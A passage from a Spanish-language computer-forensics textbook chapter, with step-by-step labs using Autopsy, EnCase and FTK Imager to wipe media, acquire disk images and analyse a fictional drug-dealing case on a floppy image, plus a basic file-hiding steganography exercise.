la polica requiere estas respuestas lo ms pronto posible, de lo contrario ste quedar libre en
aproximadamente 24 horas.

Procedimiento para el anlisis:

Paso 1: Cargar el Linux BackTrack Live CD, una vez cargado en el sistema, para acceder a la ventana de
comandos, se debe identificar el usuario como root y su password toor.
Paso 2: Si no tiene modo grfico carguelo ahora, en la ventana de ejecucin de comandos, ejecute el
comando startx &
# startx &
Paso 3: Abra una consola de comandos y cree una carpeta en la raz del directorio llamada evidencia
# mkdir /evidencia

533

Parte V, Captulo 21 Investigacin/Computacin forense

Monte la USB donde har la investigacin forense en la carpeta /evidencia, tendr permiso de escritura sobre
la USB para poder grabar mas evidencia.
# mount /dev/sdb1 /evidencia
Paso 4: monte el archivo/fichero fd.ima incluido en el DVD de este libro a la carpeta /mnt/floppy y
monte la imagen del floppy de solo lectura para observar el contenido del disco flexible:
# mkdir p /mnt/floppy
# mount -o loop,ro /evidencia/fd.ima

/mnt/floppy

# cd /mnt/floppy
# ls al
Encontrar 2 archivos/ficheros, uno corresponde a una imagen grafica de tipo gif y el otro es un
archivo/fichero comprimido en formato ZIP, Ahora copie los archivos hacia la USB donde maneja la
evidencia:
# cp v * /evidencia
# cd /evidencia
Descomprima el archivo con el comando:
# unzip Scheduled\ Visits.zip
Nota: No se puede descomprimir, pues este requiere de una contrasea para descomprimirlo y aun no la
conocemos, se recomienda abrir el archivo grafico para evaluar pistas, podra contener la palabra secreta!!!
Paso 5: Cargue la aplicacin Autopsy, en la ventana de comandos, ejecute:
# autopsy

Paso 6: Ejecute el navegador del BackTrack, abra el navegador


herramienta forense: http://localhost:9999/autopsy

534

e ingrese la URL para acceder a la

Parte V, Captulo 21 Investigacin/Computacin forense

Vamos a crear un nuevo caso, para ello, se pulsa el botn New Case, la informacin necesaria para la
creacin de un nuevo caso es la siguiente:
a.

Case Name: El nombre de la investigacin

b.

Description: Una corta descripcin del caso

c.

Investigator Name: Nombre o nombres de los investigadores. Cada uno de ellos puede
trabajar sobre el mismo caso con sus propias herramientas.

Una vez escrita la informacin, se pulsar el botn New case para crearlo y guardarlo en la base
de datos.

535

Parte V, Captulo 21 Investigacin/Computacin forense

Ahora se debe agregar un Host, hace alusin a la mquina (servidor o PC que est siendo investigado), es
un repositorio donde se pueden almacenar imgenes forenses que se hayan obtenido de la fase de
recoleccin de datos, dentro de un caso, pueden existir varios Hosts y dentro de cada Host varias
imgenes.
A pesar que el sospechoso no tiene ningn equipo informtico en su vivienda, se debe crear un Host:

d.

Host Name: Nombre del computador que est siendo investigado.

e.

Description: Descripcin opcional del computador.

f.

Time Zone:
investigando.

g.

Timeskew Adjustment:
ajuste de la hora del computador, si el reloj no est
correctamente sincronizado, se debe ajustar el tiempo (Por ejemplo, si est 25 segundos
adelantado, el valor a ingresar es -25)

Zona horaria que est configurada en el computador que se est

Para crear este host, presione finalmente el botn ADD HOST, el host ser creado y agregado a la base de
datos:

536

Parte V, Captulo 21 Investigacin/Computacin forense

Presione el botn ADD IMAGE para finalizar el proceso de creacin del host e iniciar el proceso de agregar
una imagen.
Ahora se debe agregar la imagen del volumen tomado durante la pesquisa policial (La imagen entregada y
guardada en /imagen)

Pulse el botn ADD IMAGE FILE


h. Location: Se debe indicar la ruta donde se encuentra la imagen que vamos a cargar en
la herramienta.
i.

Type: Se debe seleccionar a qu dispositivo pertenece nuestra imagen, si es un disco


completo o una particin.
NOTA: A pesar que el caso habla de la imagen de un disco flexible, para efectos de la
prctica, debemos seleccionar la opcin Partition

j.

Import Method: La imagen a analizar ser importada por la herramienta, las opciones
son: Symlink (Crea un link simblico a la imagen); Copy (Genera una copia de la imagen);
Move (mueve la imagen de su ubicacin al locker de evidencia). Se recomienda generar
una copia de la imagen.

La herramienta encontrar la imagen y pedir confirmacin, si pulsa el botn NEXT confirmar, de lo


contrario, pulse Cancel:

537

Parte V, Captulo 21 Investigacin/Computacin forense

Una vez agregada la imagen, la herramienta desplegar detalles del archivo cargado, debemos ahora
especificar algunos datos correspondientes a esta imagen:
k.

Data Integrity: Corresponde a una suma de chequeo de la imagen que se est


manipulando en este momento. Las opciones son: Ignorar (no se genera la suma de
chequeo), Calculate (Calcula la suma de chequeo para la imagen), Add (Agrega una suma
de chequeo previamente generada, adems tiene la opcin de verificar con la que se
genere de la imagen cargada al locker)

l.

File system details: Corresponde a detalles del sistema de archivos de la imagen,


i.

Mount point : Punto de montaje del sistema de archivos.


Para nuestro
laboratorio, la imagen corresponde a un disco flexible (Floppy), por lo tanto,
nuestro punto de montaje ser A:.

ii.

File system type: Se debe seleccionar el tipo de sistema de archivos que


corresponda al sistema de la imagen, para nuestro caso, se deja fat 12.

Figura 11
Una vez verificados los datos de esta ventana, se pulsa el botn ADD, se procesar la imagen de acuerdo a
los datos entregados, se calcula la suma de chequeo de la imagen (MD5), se prueban las particiones (o
discos) y finalmente se copia (se crea el link simblico o se mueve) la imagen al locker de evicencias. El
tiempo que tome este proceso depender del tamao de la imagen.

538

Parte V, Captulo 21 Investigacin/Computacin forense

Para finalizar el proceso de creacin del caso, presione el botn ADD IMAGE.

Finalmente, la imagen ser montada, ahora vamos a analizar el contenido de esta imagen, para ello,
debemos pulsar el botn Analize

Se abrirn las opciones que tenemos para analizar la imagen montada sobre el software forense,
seleccionemos ahora la opcin File Analisys
Los tipos de sistemas de archivo soportados a la fecha son: Ext, fat, ntfs, ufs, iso9660, fat12, fat16 y fat32,
freeebsd, openbsd, solaris, raw, swap, bsdi, dos, gpt y mac.

Esta nueva ventana nos mostrar informacin detallada del contenido (archivos/ficheros) de la imagen
forense. Se puede observar que hay dos (2) archivos en color rojo y que la columna DEL est marcada
con estos archivos, lo cual quiere decir que estos archivos fueron borrados del disco flexible.

539

Parte V, Captulo 21 Investigacin/Computacin forense

NOTA: Estos archivos/ficheros se podrn recuperar siempre y cuando el espacio que ocupaban en el disco
flexible no haya sido sobreescrito por otro archivo.
Tome el mouse y haga clic sobre el archivo no borrado denominado coverpage.bmp, en la parte inferior
de la herramienta se ver el contenido del archivo, all se puede ver que hay una parte completamente
legible en cdigo ASCII.
Para filtrar las cadenas legibles, seleccione sobre el panel central ASCII Strings, en seguida tome la opcin
display, ver el texto como se muestra en la figura:

Observe la cadena de caracteres pw=goodtimes, muy probablemente se haya utilizado una tcnica de
esteganografa para mezclar un texto (la contrasea) sobre una imagen.
Ahora con la contrasea obtenida, se debe intentar descomprimir el archivo o fichero Scheduled Visits.zip.
Se debe abrir una nueva consola de comandos:

540

Parte V, Captulo 21 Investigacin/Computacin forense

# cd /evidencia
Descomprimimos el archivo con el comando:
# unzip Scheduled\ Visits.zip, e ingresamos la contrasea goodtimes
Nos damos cuenta que es la contrasea correcta y obtenemos el archivo unzip Scheduled\ Visits.xls
El archivo/fichero obtenido de la imagen puede ser copiado y abierto con la ayuda de Excel para buscar
evidencia acusatorias. Para agilizar este proceso, simplemente, utilizaremos el editor vi o mc para poder
observar el contenido del archivo: En la ventana de comandos, ejecute la sentencia: mc, luego busque el
archivo/fichero y con la tecla F3 puede ver el contenido del archivo/fichero Scheduled\ Visits.xls
Se obtendr una visin cruda del archivo XLS, pero observando el contenido del archivo/fichero, podremos
encontrar cadenas de caracteres perfectamente legibles, pero con esta informacin de un listado de colegios
no podemos incriminar al seor Joe con la venta de drogas en otras escuelas.
Ahora vuelva a revisar los archivos/ficheros borrados dentro de la imagen del diskette, se debe enfocar el
anlisis en el archivo/fichero borrado Jimmy Jungle.doc, observar que esta en formato Word. Si posiciona
el cursor sobre ese archivo/fichero y activa la opcin ASCII Strings y dentro de esta activa la opcin
display se podr ver el texto como se muestra en la figura:

Tambin se pueden exportar los archivos/ficheros borrados para editarlos y analizarlos con herramientas
especializads en ese formato, al exportarlos estos residirn en la carpeta /root/Desktop de linux, llvelos a
Windows y con un editor de textos Microsoft Word como el SUN Open Office o con Microsoft Word
concentrese en leer el archivo borrado en formato Word. Nuevamente revise el texto que se muestra
completamente a continuacin:
Jimmy Jungle
626 Jungle Ave Apt 2
Jungle, NY 11111
Jimmy:
Dude, your pot must be the best it made the cover of High Times Magazine! Thanks for sending me the
Cover Page. What do you put in your soil when you plant the marijuana seeds? At least I know your growing
it and not some guy in Columbia.

541

Parte V, Captulo 21 Investigacin/Computacin forense

These kids, they tell me marijuana isnt addictive, but they dont stop buying from me. Man, Im sure glad
you told me about targeting the high school students. You must have some experience. Its like a
guaranteed paycheck. Their parents give them money for lunch and they spend it on my stuff. Im an
entrepreneur. Am I only one you sell to? Maybe I can become distributor of the year!
I emailed you the schedule that I am using. I think it helps me cover myself and not be predictive. Tell me
what you think. To open it, use the same password that you sent me before with that file. Talk to you later.
Thanks,
Joe
En el texto anteriormente obtenido se habla del password para descomprimir el archivo Excel, es importante
observar que en el texto dice que se le envio va email la clave secreta o password para abrir el archivo
Excel. Si un juez viera esta afirmacin se podra acusar al implicado pues se muestra mala intencin al
querer daar a los nios por el inters comercial de los implicados en vender marihuna a los nios alumnos
de los colegios en mencin.
Cuestionamientos:

Hay informacin que incrime al acusado al revisar el documento en formato word?

Que relacin hay entre el archivo/fichero en formato Word contra el archivo/fichero en formato
Excel?

Podra hacer un informe para presentarlo al juez donde se acuse al seor Jacob de ventas de
drogas a nios?

Mas adelante se muestra una documentacin de un incidente que podr ayudar con esta tarea.

542

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio: Esteganografa Bsica


Objetivo: Enmascarar un archivo comprimido en una imagen.
Procedimiento:

Paso 1: Ubicar en un directorio una imagen (foto.jpg) y el archivo comprimido que vamos a ocultar
(documentos.rar):

Paso 2: Abramos la consola de comandos de Windows: Inicio > Ejecutar, en el cuadro escribir cmd.
Paso 3: Entrar al directorio donde tenemos la imagen y el archivo comprimido, ejecutando los comandos:
C:> cd \
C:> cd test
Paso 4: Ahora enmascare el archivo comprimido sobre la imagen seleccionada, ejecutando el comando:
C:> copy /B foto.jpg+documentos.rar imagen.jpg

Si observa el contenido del directorio encontrar un nuevo archivo de imagen (imagen.jpg).

543

Parte V, Captulo 21 Investigacin/Computacin forense

1.

Si le da doble clic sobre la imagen, esta se ver como tal, una imagen idntica a la original, sin
embargo, al visualizar los detalles de este archivo, nos damos cuenta que el tamao es la suma del
tamao de los dos archivos.

2.

Para abrir dicho archivo, se da clic con el botn derecho del mouse y se selecciona el programa
apropiado para abrirlo, en este caso WinRAR

3.

Podemos verificar que el contenido del archivo documentos.rar (Figura 24) es exactamente igual
al contenido del archivo imagen.jpg (Figura 25).

544

Parte V, Captulo 21 Investigacin/Computacin forense

Figura 24

Cuestionamientos:

Como podra guardarse informacin en una grfica por ejemplo el texto pw=goodtimes como una
clave en forma cifrada?

Revise el sitio web http://www.viciao2k3.net/services/cryptimg/

545

Parte V, Captulo 21 Investigacin/Computacin forense

10.4.

Laboratorios con las herramientas comerciales ms conocidas

Laboratorio:
Esterilizacin de medios magnticos con EnCase
Objetivos:

Conocer el software de investigacin forense EnCase sobre windows

Preparar el disco externo, memoria USB o medio magntico para guardar evidencia de computacin
forense antes de hacer adquisiciones de datos

Los medios magnticos para adquisicn de datos deben ser esterilizados para no contaminar la
evidencia

Utilizar la estacin de forense FRED-L (Forensic Recovery Evidence Device - Laptop)


Paso 1: De potencia al computador portatil de investigacin forense FRED-L

Cuando el sistema Windows termine de cargar inserte el medio que desea esterilizar, para este caso
deseamos escribir ceros (0x0) en el medio magntico para borrar fsicamente los datos de casos anteriores o
datos de usuarios que estn pre-existentes. Esto evitara que se contamine la evidencia que en el futuro se
ponga en este medio magntico.

Paso 2: Verifique las unidades que ve el sistema operativo de la estacin forense

Se debe observar que para este caso la memoria USB que deseamos esterilizar se denomina la Unidad E,
cuyo nombe de volmen es KINGSTON. La Unidad C contiene el sistema operativo y existen otras unidades o
volmenes del investigador en la estacin forense.

546

Parte V, Captulo 21 Investigacin/Computacin forense

Paso 3: Llame al aplicativo de investigacin forense Encase

Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.

Paso 4: Cree un nuevo caso de investigacin forense


Ahora deber diligeniar los datos del nuevo caso como se muetra a continuacin:

Al presionar finalizar obtendr errores pues se ha utilizado el carcter especial dos puntos : en el nombre
del caso. Trate de nuevo pero no use caracteres especiales.

547

Parte V, Captulo 21 Investigacin/Computacin forense

Es importante observar la unidad de almacenamiento donde esta quedando el caso, para su particular
laboratorio podra estar en la unidad C.
Es una buena prctica que los datos de los casos as como la evidencia no queden en el mismo disco del
sistema operativo, lo ideal es que estn en un volmen diferente.
La idea es evitar que al formatear el disco del sistema operativo se pierdan los datos de los casos de
investigacin forense.

Guarde el caso en el disco duro de su preferencia.

Paso 5: Inicialice el medio magntico


Para inicializar a nivel fsico el medio mgnetico o esterilizarlo no es mandatorio crear un nuevo caso, pero
es un buen ejemplo para familiarizarse con la herramienta.
Se debe tomar la opcin Tools, wipe drive.

548

Parte V, Captulo 21 Investigacin/Computacin forense

Haga click con el mouse sobre la opcion wipe.

Selecione Local y presione el botn Siguiente

Se debe observer que tambin aparecen casi todas las particiones, por ejemplo la particin E equivale a la
memoria USB, las particiones I, J y K son del disco duro interno, es importante notar que no aparece la
particin C pues no debemos tocar la particion del sistema operativo de la estacin forense.

549

Parte V, Captulo 21 Investigacin/Computacin forense

Ahora elija el medio magtico deseado, para este caso es la memoria USB marca Kingston de 4GB que
aparece como el disco 1, no se debe marcar la particin del disco, siempre se debe marcar el disco pus
queremos esterilizar el medio completo.

Presione siguiente para continuar.

Ahora EnCase le pide digitar la palabra Yes para confirmar la destruccin de los datos residents en el medio
magnetic que deseamos esterilizar.

Para este caso de una memoria USB de 4GB se tom 02 minutos y 56 segundos, pero para un disco SATA de
250 GB con interface USB se toma unas 3 horas y finalmente para un disco SATA USB de 500GB se toma
unas 8 horas.

550

Parte V, Captulo 21 Investigacin/Computacin forense

Ahora existen soluciones ms rpidas en hardware que no requieren de una estacin forense por ejemplo el
dispositivo HARDCOPY III permite hacer esterilizacin de hasta dos discos duros.

Este dispositivo es en realidad un duplicador forense muy rpido, construido en hardware especializado para
duplicar y adems esterilizar medios mgneticos en gran volmen. Son muy usados por las fuerzas militares
y por los consultores especializados en investigacin forense.

Paso 6: Cree una particin en el disco

Windows por defecto crea una nica particin pero se pueden crear varias particiones o unidades lgicas.
Presione Formatear disco.

Paso 7: Cree un sistema de archivos ntfs para guardar datos en el disco externo

551

Parte V, Captulo 21 Investigacin/Computacin forense

Se le propone al investigador varios sistemas de archivos como FAT, FAT32, exFAT y NTFS, se recomienda
usar para adquisicin de datos el sistema de archivos NTFS dado que FAT32 no soporta archivos mas
grandes de 4GB. Elija formato rpido y presionar el botn Iniciar.
Paso 8: Cree un hash del disco externo
El disco para la adquisicin de datos debe ser parte del caso, es decir el tendr evidencia y por lo tanto es
parte del caso, EnCase no puede tocar dispositivos que no son parte del caso.
Tome la opcin Add Device, Local Drives

Seleccione la memoria USB. Para este caso es el dispositivo numero 7 o disco nmero 1.
Es importante observar que ahora si aparece el disco 0, es decir el disco del sistema de la estacin forense,
esto se debe a que estamos adicionando dispositivos que son evidencias para el caso.

Al seleccionar el dispositivo que aparece como nmero 1 se puede observer al lado derecho el MBR o master
boot Record del dispositivo pues se ve el volume Boot, el primary FAT, el secondary FAT y el unlocated
clusters.
Ahora se debe generar el hash:
Estando el cursor sobre el dispositivo nmero 1 presione el botn derecho del mouse y seleccione la opcin
hash.

552

Parte V, Captulo 21 Investigacin/Computacin forense

Es importante observar el nmero inicial y final del sector dentro del dispositivo, este es el hash calculado
segn los algoritmos MD5 y SHA1:

Debe de inmediato quitar el medio magntico, si desea verificarlo debe protegerlo con un bloqueador de
escritura.
Paso 9: Verifique que est correcto el hash:

Cuestionamientos

Existe otra herramienta incluida en windows para crear particiones?


Se pueden crear particiones desde Encase?
Que pasara si se hace exploracin del disco en Windows y se vuelve a calcular el hash?
Que pasara si se cambia el nombre del volumen y se vuelve a calcular el hash?

553

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Creando un archivo/fichero de evidencia con EnCase Fase de adquisicin de datos
Objetivo:

Hacer una copia exacta del disco sospechoso para guardar la evidencia

Conocer la fase de adquisicin de datos de la investigacin forense

Conocer la herramienta Encase para hacer adquisicin de datos

Utilizar los bloqueadores de escritura para no daar la evidencia


Paso 1: Conecte el medio a un bloqueador de escritura para no daar la evidencia
Estando apagado el bloqueador de escritura conecte el medio magntico al bloqueador de escritura, en
seguida conecte el cable de corriente del medio magntico si requiere corriente desde el bloqueador, ahora
conecte el cable de datos desde el bloqueador hasta el FRED, de preferencia se debera usar la interface que
mayor velocidad tenga, en orden de preferencia sera: Interface 1394B (800mbps), 1394A (400mbps), esata y finalmente USB 2.

De potencia al computador portatil de investigacin forense (FRED-L), cuando el sistema Windows termine
de cargar inserte el bloqueador que contiene el medio que se desea hacer la adquisicin de datos.

Paso 2: Verifique las unidades que ve el sistema operativo de la estacin forense


Se debe observar que para este caso la estacin FRED ve una memoria USB o disco USB, se denomina la
Unidad E, cuyo nombe de volmen es KINGSTON para este caso. No importa si el medio es un disco SCSI,
SATA o IDE, si el bloqueador se conecto por el puerto Host USB la FRED lo ver como una unidad USB.
La Unidad C para este caso contiene el sistema operativo y existen otras unidades o volmenes del
investigador en la estacin forense.
Paso 3: Llame al aplicativo de investigacin forense Encase

554

Parte V, Captulo 21 Investigacin/Computacin forense

Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.

Paso 4: Cree un nuevo caso de investigacin forense


Ahora deber diligeniar los datos del nuevo caso como se muestra a continuacin:

Guarde el caso en el disco duro de su preferencia presionando el botn Finalizar.

Paso 5: Adicione el disco como evidencia al caso


Tome la opcin add device

Seleccione Local Drivers y presione el botn Siguiente

555

Parte V, Captulo 21 Investigacin/Computacin forense

Aparecen todas las particiones de todos los discos instalados, por ejemplo la particin E equivale a la
memoria USB a la que deseamos hacerle adquisicin de datos, las particiones I, J y K son del disco duro
interno.
Paso 6: Haga la adquisicin de datos del disco investigado
Para este caso solo necesitamos hacer la adquisicin de una sola particin por ser una memoria USB, para
discos duros se recomienda hacerle la adquisicin al disco completo, es decir el disco numero 7 de este caso.
Al hacer click sobre el disco se muestra un mapa de cmo esta particionado y que archivos contiene:

Al hacer click derecho sobre el disco se muestra una ventana de opciones

Se debe tomar la opcin Acquire

556

Parte V, Captulo 21 Investigacin/Computacin forense

Aparece sealada la opcin Replace source device indicando que el dispositivo o disco ser parte del caso
como evidencia, ahora se debe presionar el botn Siguiente para continuar.

Se debe diligenciar un formulario con el nombre de la evidencia, se propone que si el archivo/fichero de


evidencia es muy grande y este ser fraccionado en pedazos de 640 MB para poder grabarlos en CD.
Es posible suministrar una clave de acceso para aumentar la confidencialidad sobre el caso pero si se olvida
ser casi imposible volverlo a acceder.
No se recomienda suministrar una clave de acceso.
Es muy recomendable seleccionar el hash MD5 y SHA1:

557

Parte V, Captulo 21 Investigacin/Computacin forense

Presione el botn OK para terminar el proceso de adquisicin.


Almacene el caso y observe la extensin .E01 para indicar que es evidencia para procesar con la herramienta
Encase.

Cuestionamientos

Existen otras herramientas para MS Windows que permita hacer adquisicin de datos
en varios formatos difrentes a EnCase?
Qu es el formato raw?
Que es el formato smart?
Averigue que hace la herramienta FTK Imager.

558

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Anlisis de datos para el caso Joe Jacob con EnCase Fase de anlisis de datos

Informe Policial suministrado al analista forense


Joe Jacobs de 28 aos fuera arrestado el da de ayer con cargos de vender drogas ilegales a estudiantes de
un colegio. Uno de los agentes que trabajaba encubierto como un estudiante, fue abordado por Jacobs en el
estacionamiento del colegio Smith Hill. ste le pregunt al agente si le gustara comprar marihuana.
Antes de que el agente pudiera responder, Jacobs sac algo de su bolsillo y se lo mostr al oficial. Luego le
dijo "mire esta mercanca, los colombianos no podran cultivarla mejor! Mi proveedor no slo me la vende
directamente a mi, sino que la cultiva el mismo".
Jacobs ha sido visto en numerosas ocasiones en los alrededores de varios colegios en las horas que terminan
su jornada de clases. Personal de los colegios ha informado a la polica sobre la presencia del sospechoso en
las cercanas del colegio y han notado un incremento en el consumo de drogas en los estudiantes desde su
llegada.
La polica necesita su ayuda. Ellos quieren determinar si Joe Jacobs ha estado vendiendo droga a estudiantes
de otros colegios aparte del Smith Hill. El problema es que los estudiantes no se acercarn voluntariamente
a ayudar a la polica. Basados en los comentarios del sospechoso acerca de los colombianos, la polica est
interesada en saber quin es el proveedor/cultivador de la marihuana.
El sospechoso ha negado vender drogas en otros colegios diferentes al Smith Hill y se rehsa a darle a la
polica el nombre de su proveedor. Tambin se niega a validar lo que le dijo al agente encubierto justo antes
de su arresto.
Luego de conseguir una orden judicial para hacer un allanamiento en la casa del sospechoso la polica pudo
obtener una pequea cantidad de marihuana. Adicionalmente, se encontr un disco flexible de computadora,
sin embargo no se encontr ningn equipo informtico ni otro medio durante allanamiento.
Al no saber qu hacer, la polica le ha entregado a usted el disco flexible que fue encontrado. Ellos quieren
que usted lo examine y responda algunas preguntas segn la evidencia digital que encuentre. Quieren que
preste especial atencin a cualquier informacin que pueda probar que Joe Jacobs estaba efectivamente
vendiendo drogas en otros colegios. Adicionalmente, quieren que trate de determinar si es posible quin es
el proveedor de la marihuana.
Debido a que la cantidad de droga encontrada no es suficiente para mantener bajo arresto del sospechoso,
la polica requiere estas respuestas lo ms pronto posible, de lo contrario ste quedar libre en
aproximadamente 24 horas.

Procedimiento para el anlisis forense con EnCase:


Paso 1: Prepare el FRED-L
De potencia al computador portatil de investigacin forense (FRED-L) para hacer el anlisis de datos a la
evidencia suministrada por la polica para el caso Joe Jacob:

Paso 2: Verifique las unidades que ve el sistema operativo de la estacin forense


La Unidad C para este caso contiene el sistema operativo y existen otras unidades o volmenes del
investigador en la estacin forense.

559

Parte V, Captulo 21 Investigacin/Computacin forense

La evidencia se debera guardar en un disco diferente al sistema operativo, para este caso la unidad I con
nombre DATOS contiene la evidencia.
Paso 3: Llame al aplicativo de investigacin forense Encase

Inicie la aplicacin EnCase y cree un nuevo caso tomando la opcin New, o File New.

Paso 4: Cree un nuevo caso de investigacin forense


Ahora deber diligenciar los datos del nuevo caso como se muestra a continuacin:

Guarde el caso en el disco duro de su preferencia presionando el botn Finalizar.

Paso 5: Adicione la imagen suministrada por la polica como evidencia al caso


Dado que la polica suministr la evidencia en formato dd la nica forma para que EnCase reciba
directamente la imagen es contando con una licencia de uso o token de seguridad.

560

Parte V, Captulo 21 Investigacin/Computacin forense

Si la evidencia se suministra con extensin E01 ya estar en formato EnCase y no se necesitar la opcin
especial y licenciada Add Raw Image.
Cuando se cuenta con el token aladdin o HASP aparece dentro de la opcion File la opcin Add Raw Image:

Tome la opcin Add Raw Image:

Diligencie el nombre de la evidencia, seguido seleccione la opcin Disk, luego con el botn derecho sobre la
caja Component Files explore el disco donde se guarda la evidencia. Despus de seleccionar la imagen en
Component Files aparecer la evidencia que se necesita analizar, ahora presione el botn OK para
continuar.

561

Parte V, Captulo 21 Investigacin/Computacin forense

Al posicionar el cursor sobre el nombre de la imagen aparecen todas las particiones de todos los discos
instalados ademas de los archivos/ficheros de cada particin.
Se debe observar el simbolo de borrado al inicio de dos archivos/ficheros.

Si mueve la barra de los archivos/ficheros del lado derecho entonces observar la columna de borrado, la
ltima vez que se accedio y mucha informacin interesante desde el punto de vista del cmputo forense.
NOTA: Estos archivos/ficheros se podrn recuperar siempre y cuando el espacio que ocupaban en el disco
flexible no haya sido sobreescrito por otro archivo/fichero.

Paso 6: Se deben revisar los archivos/ficheros que el usuario vera antes que los objetos borrados
Con el mouse haga clic dos veces sobre el archivo no borrado y comprimido llamado Scheduled Visits.zip.
El programa winrar o winzip previamente instalado en la estacin forense ser llamado para descomprimirlo:

562

Parte V, Captulo 21 Investigacin/Computacin forense

Winrar o winzip informar que es una hoja electrnica tipo Excel pero no puede ser abierta pus su dueo le
configur una contrasea.

Nota: No se puede descomprimir, pues este requiere de una contrasea para descomprimirlo y aun no la
conocemos, se recomienda abrir el archivo/fichero grfico para evaluar pistas, podra contener la palabra
secreta!!!
Paso 7: Anlisis ms detallados de objetos no borrados
Se deben revisar los dems archivos/ficheros, por ejemplo los grficos, se debe buscar informacin que lo
incrimine adems de las claves ocultas para los archivos que no se dejan abrir.
Se debe tomar el mouse y hacer clic dos veces sobre el archivo/fichero coverpage.bmt, Windows no
puede abrirlo por la extensin que fu cambiada de bmp a bmt por algn usuario malicioso, la herramienta
es capaz de verificar en que formato fue construido el objeto de estudio:

563

Parte V, Captulo 21 Investigacin/Computacin forense

Esto es altamente sospechoso pus el usuario no solo configura claves a los archivos/ficheros, adems
cambia la extensin de algunos archivos/ficheros para ocultar informacin por ejemplo el archivo/fichero
grfico coverpage.bmt.
Para ver el objeto de estudio en formato ASCII seleccione sobre el panel de abajo el cono Text y ver el
texto de la grfica como se muestra en la figura:

Observe al final del objeto la cadena de caracteres pw=goodtimes, muy probablemente se haya utilizado una
tcnica de esteganografa para mezclar un texto (posiblemente la contrasea) sobre una imagen.
Ahora con la contrasea obtenida, se debe intentar descomprimir el archivo/fichero Scheduled Visits.zip,
debe observarse que es la contrasea correcta y obtenemos el archivo/fichero Scheduled Visits.xls en
formato Excel. Pero observando el contenido del archivo/fichero, podremos encontrar cadenas de caracteres
perfectamente legibles, pero con esta informacin de un listado de colegios no podemos incriminar al seor
Joe Jcob con la venta de drogas en otras escuelas.

Paso 8: Anlisis ms detallados sobre objetos borrados


Ahora vuelva a revisar los archivos/ficheros borrados dentro de la imgen, se debe enfocar el anlisis en el
archivo/fichero borrado Jimmy Jungle.doc, hay que observar que est en formato Word. Revise y lea el
contenido del objeto bajo estudio:

Jimmy Jungle
626 Jungle Ave Apt 2
Jungle, NY 11111
Jimmy:
Dude, your pot must be the best it made the cover of High Times Magazine! Thanks for sending me the
Cover Page. What do you put in your soil when you plant the marijuana seeds? At least I know your growing
it and not some guy in Columbia.
These kids, they tell me marijuana isnt addictive, but they dont stop buying from me. Man, Im sure glad
you told me about targeting the high school students. You must have some experience. Its like a
guaranteed paycheck. Their parents give them money for lunch and they spend it on my stuff. Im an
entrepreneur. Am I only one you sell to? Maybe I can become distributor of the year!
I emailed you the schedule that I am using. I think it helps me cover myself and not be predictive. Tell me
what you think. To open it, use the same password that you sent me before with that file. Talk to you later.

564

Parte V, Captulo 21 Investigacin/Computacin forense

Thanks,
Joe

Conclusin:
En el texto anterior se habla del password o la clave para descomprimir el archivo Excel, es importante
observar que en el texto dice que se le envio va email la clave secreta o password para abrir el archivo
Excel. Si un juez viera esta afirmacin se podra acusar al implicado pues se muestra mala intencin al
querer daar a los nios por el inters comercial de los implicados en vender marihuna a los nios que son
los alumnos de los colegios en mencin.

Cuestionamientos

Si no cuento con la licencia de uso o token Aladdin puedo hacer anlisis de datos con
Encase de un caso que ya fue abierto?
Puedo procesar nueva evidencia en formato raw con Encase?
Puedo procesar nueva evidencia en formato E01 con Encase?
Puedo hacer borrado fsico o esterilizar dispositivos con Encase?

565

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Creando un archivo/fichero de evidencia con FTK Imager Fase de adquisicin de datos
Objetivo:

Hacer una copia exacta de medios magntios para guardar la evidencia

Conocer la fase de adquisicin de datos de la investigacin forense

Conocer la herramienta FTK Imager para hacer adquisicin y conversin de datos

Utilizar los bloqueadores de escritura para no daar la evidencia


Fundamentos:
FTK imager no requiere del pago de una licencia para su utilizacin y es muy utilizada por las fuerzas
militares y entidades especializadas en computacin forense. Si se desean mdulos complementarios como
el PRTK o Access Data Password Recovery Toolkits o el mdulo especializado para hacer anlisis de casos se
tendr que adquirir una licencia de uso adicional.
Por defecto esta herramienta FTK Imager no tiene profundizado el crear casos para ello se debe adquirir una
licencia que extienda esta funcionalidad.
Paso 1: Conecte el medio a un bloqueador de escritura para no daar la evidencia
Estando apagado el bloqueador de escritura conecte el medio magntico al bloqueador de escritura, en
seguida conecte el cable de corriente del medio magntico si requiere corriente desde el bloqueador, ahora
conecte el cable de datos desde el bloqueador hasta el FRED, de preferencia se debera usar la interface que
mayor velocidad tenga, en orden de preferencia sera: Interface 1394B (800mbps), 1394A (400mbps), esata y finalmente USB 2.

De potencia al computador portatil de investigacin forense (FRED-L), cuando el sistema Windows termine
de cargar inserte el bloqueador que contiene el medio que se desea hacer la adquisicin de datos.
Paso 2: Verifique las unidades que ve el sistema operativo de la estacin forense
Se debe observar que para este caso la estacin FRED ve una memoria USB o disco USB, se denomina la
Unidad E, cuyo nombe de volmen es KINGSTON para este caso. No importa si el medio es un disco SCSI,
SATA o IDE, si el bloqueador se conecto por el puerto Host USB la FRED lo ver como una unidad USB.
La Unidad C para este caso contiene el sistema operativo y existen otras unidades o volmenes del
investigador en la estacin forense.
Paso 3: Llame al aplicativo de investigacin forense para adquisicin de datos FTK Imager

566

Parte V, Captulo 21 Investigacin/Computacin forense

Inicie la aplicacin FTK Imager y adquiera evidencia tomando la opcin File, Add Evidence item.

Paso 4: Seleccionar la fuente para la toma de datos


Ahora deber diligenciar la fuente de datos como se describe a continuacin:

Physical Drive: Indica todos los dispositivos fsicos que ve la estacin FRED-L.
Logical Drive: Es una particin o unidad lgica como C:, D:, E:, etc
Image File: Es una imagen que ya se adquri como DD, EnCase o Smarth
Contents of Folder: Es el contenido total de una carpeta, tiene como desventaja que no podr recuperar
archivos borrados o ver informacin especfica de sectores pus no tendr informacin de las particiones del
disco. Presione el botn Siguiente para continuar.

Paso 5: Adicione el disco al que le desea hacer adquisicin de datos

567

Parte V, Captulo 21 Investigacin/Computacin forense

Aparecen todos los discos o dispositivos fsicos, seleccionamos para este caso el disco 1, pus el 0 es el disco
duro de la estacin forense que para este caso es un disco SATA Samsung de 500GB.
Paso 6: Visualice y enfquese en la fuente o dispositivo deseado
